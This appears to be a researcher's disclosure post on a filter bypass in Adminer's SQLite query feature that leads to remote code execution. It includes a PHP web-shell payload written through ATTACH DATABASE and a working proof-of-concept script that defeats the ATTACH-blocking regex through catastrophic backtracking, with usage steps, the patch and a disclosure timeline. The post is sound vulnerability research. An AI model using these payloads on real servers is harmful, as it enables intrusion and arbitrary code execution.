Adminer - SQLite RCE Regex Filter Bypass
Adminer is a PHP database management tool. It has support for running queries on SQLite databases.
In versions 4.2.4 and before it was possible to get RCE using the SQLite functionality by creating a database file with the .php extension and inserting PHP code like this:
ATTACH DATABASE 'shell.php' AS lol;
CREATE TABLE lol.pwn (dataz text);
INSERT INTO lol.pwn ( dataz) VALUES ('<?php system($_GET["command"]); ?>');
This would result in a SQLite database called lol.php being created in the same directory as the adminer.php and visiting it would execute the PHP code as the PHP interpeter will ignore the the SQLite binary data surrounding the PHP code.
To patch this Adminer was changed to require a password for all database types and they added a regex to block queries using ATTACH in this commit
The code is effectively:
$pattern = "~^(?:\\s|/\\*[\s\S]*?\\*/|(?:#|--)[^\n]*\n?|--\r?\n)*+ATTACH\\b~i";
if(preg_match($pattern, $query, $match)){
die('error');
}
PHP’s preg_match has this interesting behaviour where it returns 1 on match, 0 on no match and false on failure.
A failure can be triggered using Catastrophic Backtracking, this will cause preg_match to return false when the backtracking limit is reached and then we can bypass the filter. The patch for this is to explicitly check the return value is !== 0, this way if it errors it will block it correctly.
This is the same issue I found in CVE-2023-41362 RCE in MyBB templates.
The method I used to reach the backtrack limit in this case is putting lots of empty SQLite comment lines before the payload.
Proof of Concept
The following script generates the payload SQL file:
<?php
$payload = <<<'END'
ATTACH DATABASE 'lol.php' AS lol;
CREATE TABLE lol.pwn (dataz text);
INSERT INTO lol.pwn (dataz) VALUES ('<?php phpinfo(); ?>');
END;
echo str_repeat('--'.PHP_EOL,350000).$payload;
Run it like this:
php exploit.php > exploit.sql
It generates a file with many SQLite comments before the payload code, this makes the regex backtrack many times until it hits the backtrack limit at which point preg_match returns false.
Open Adminer and import/upload the exploit.sql file into the SQLite query page.
On success it will say 3 queries executed OK.
If you check the adminer.php directory you will see a file called lol.php with the phpinfo code within it.
Other Notes
In this same Adminer version update 3 other bugs discovered by Voorivex were patched, one of which is in the same regex filter.
They bypass it in a different way by using VACUUM INTO instead of ATTACH to get the file write.
Timeline
| Date | Action |
|---|---|
| 25/09/2025 | Reported to ZDI |
| 24/02/2026 | Report accepted and rewarded by ZDI |
| 06/03/2026 | ZDI disclosed details to vendor and assigns id ZDI-CAN-28201 |
| 09/07/2026 | Patched in Adminer 5.4.3 (commit) with advisory |
| 29/07/2026 | Blog post released - no CVE assigned currently |
